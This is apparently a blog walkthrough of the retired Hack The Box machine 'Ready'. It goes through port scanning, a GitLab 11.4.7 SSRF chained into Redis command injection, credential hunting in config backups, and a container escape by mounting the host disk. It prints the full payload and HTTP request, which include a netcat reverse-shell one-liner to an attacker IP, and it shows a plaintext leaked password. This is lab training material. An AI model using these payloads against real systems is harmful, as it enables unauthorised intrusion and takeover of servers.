This post documents the complete walkthrough of Ready, a retired vulnerable VM created by bertolis, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Ready is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.220 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-12-14 07:35:51 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.10.220
Discovered open port 5080/tcp on 10.10.10.220

Port 5080/tcp seems interesting. Let’s do one better with nmap scanning the discovered ports to establish their services.

nmap -n -v -Pn -p22,5080 -A --reason 10.10.10.220 -oN nmap.txt
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    syn-ack ttl 62 nginx
|_http-favicon: Unknown favicon MD5: F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about

Interesting. 5080/tcp appears to be GitLab. Here’s what it looks like.

Dude, where’s my project?

Let’s register an account and explore what kind of project we have.

You can see that GitLab is most likely installed in a docker container, highlighted above.

Dude, what’s the version of GitLab?

Once you have an account registered, go to Help under your account and you’ll see the GitLab’s version.

GitLab CE 11.4.7 Server-Side Request Forgery (SSRF) Vulnerability

Pivoting on the GitLab version, we found ourselves a write-up that documents how to exploit it. According to the write-up, we can make use of the Import Repo by URL feature to trigger the SSRF. I guess that’s where dude’s project comes in.

Bombs away…

This should convince ourselves that the SSRF is working.

Foothold

Using the payload from the write-up but with a little modification, we should get ourselves a shell.

Before encoding

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|rm -rf /tmp/p; mkfifo /tmp/p; /bin/bash </tmp/p | nc 10.10.14.13 1234 >/tmp/p\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec
 exec
/ssrf.git

After encoding

Take note to encode CRLF for newlines in Redis. Hold up. Redis, ready. I finally see the link.

git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2F%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open%28%5C%27%7Crm%20-rf%20%2Ftmp%2Fp%3B%20mkfifo%20%2Ftmp%2Fp%3B%20%2Fbin%2Fbash%20%3C%2Ftmp%2Fp%20%7C%20nc%2010.10.14.13%201234%20%3E%2Ftmp%2Fp%5C%27%29.read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A%2Fssrf.git

HTTP Request

POST /projects HTTP/1.1
Host: 10.10.10.220:5080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.220:5080/projects/new
Content-Type: application/x-www-form-urlencoded
Content-Length: 1075
Origin: http://10.10.10.220:5080
Connection: close
Cookie: _gitlab_session=045de02ac85f7a3685a780eb8253108d; sidebar_collapsed=false; event_filter=all; hide_auto_devops_implicitly_enabled_banner_1=false; hide_no_ssh_message=false
Upgrade-Insecure-Requests: 1

utf8=%E2%9C%93&authenticity_token=HjG00i6Krm6mR1FJJPTdxZHOL%2BVzMbGP1zrmDm28gs1IBRth6%2BC4xh%2FiaDnmEOXjy%2Ffwpg9NgXAedrCFPpsK6g%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2F%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open%28%5C%27%7Crm%20-rf%20%2Ftmp%2Fp%3B%20mkfifo%20%2Ftmp%2Fp%3B%20%2Fbin%2Fbash%20%3C%2Ftmp%2Fp%20%7C%20nc%2010.10.14.13%201234%20%3E%2Ftmp%2Fp%5C%27%29.read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=test1&project%5Bnamespace_id%5D=6&project%5Bpath%5D=test1&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0

Meanwhile on my netcat listener…

Dude, where’s my user.txt?

After upgrading the TTY, the file user.txt is at dude’s home directory.

Privilege Escalation

During enumeration of git’s account, I notice the presence of a file /root_pass which appears to contain a password.

Alas, it’s not the root password for the docker container I’m in nor is it for the container host. Fret not, I soon found a directory /opt/backup that contains some interesting files.

[email protected]:~$ find /opt/backup/ -type f -exec grep -HEn 'assw' {} \; 2>/dev/null
/opt/backup/gitlab.rb:139:#### Email account password
/opt/backup/gitlab.rb:140:# gitlab_rails['incoming_email_password'] = "[REDACTED]"
/opt/backup/gitlab.rb:240:#     password: '_the_password_of_the_bind_user'
/opt/backup/gitlab.rb:260:#     password: '_the_password_of_the_bind_user'
/opt/backup/gitlab.rb:384:#   '/users/password',
/opt/backup/gitlab.rb:403:#### Change the initial default admin password and shared runner registration tokens.
/opt/backup/gitlab.rb:406:# gitlab_rails['initial_root_password'] = "password"
/opt/backup/gitlab.rb:425:# gitlab_rails['db_password'] = nil
/opt/backup/gitlab.rb:443:# gitlab_rails['redis_password'] = nil
/opt/backup/gitlab.rb:476:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
/opt/backup/gitlab.rb:670:# gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false}
/opt/backup/gitlab.rb:708:##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab`
/opt/backup/gitlab.rb:709:# postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH'
/opt/backup/gitlab.rb:788:# postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>`
/opt/backup/gitlab.rb:847:# redis['password'] = 'redis-password-goes-here'
/opt/backup/gitlab.rb:871:####! **Master password should have the same value defined in
/opt/backup/gitlab.rb:872:####!   redis['password'] to enable the instance to transition to/from
/opt/backup/gitlab.rb:874:# redis['master_password'] = 'redis-password-goes-here'
/opt/backup/gitlab.rb:1640:# geo_secondary['db_password'] = nil
/opt/backup/gitlab.rb:1659:# geo_postgresql['pgbouncer_user_password'] = nil
/opt/backup/gitlab.rb:1693:#     password: PASSWORD
/opt/backup/gitlab.rb:1694:###! generate this with `echo -n '$password + $username' | md5sum`
/opt/backup/gitlab.rb:1704:# pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)'
/opt/backup/gitlab.rb:1708:#     password: MD5_PASSWORD_HASH
/opt/backup/gitlab.rb:1712:# postgresql['pgbouncer_user_password'] = nil
/opt/backup/docker-compose.yml:13:        gitlab_rails['initial_root_password']=File.read('/root_pass')

wW59U!ZKMbG9+*#h turns out to be the root password of the docker container.

Dude, where’s my root.txt?

While I was poking around the docker container as root, I notice something interesting with mount.

Maybe I can mount /dev/sda2 to somewhere in the docker container, say /tmp/root?

Holy cow! This is the filesystem of the docker container host.

:dancer: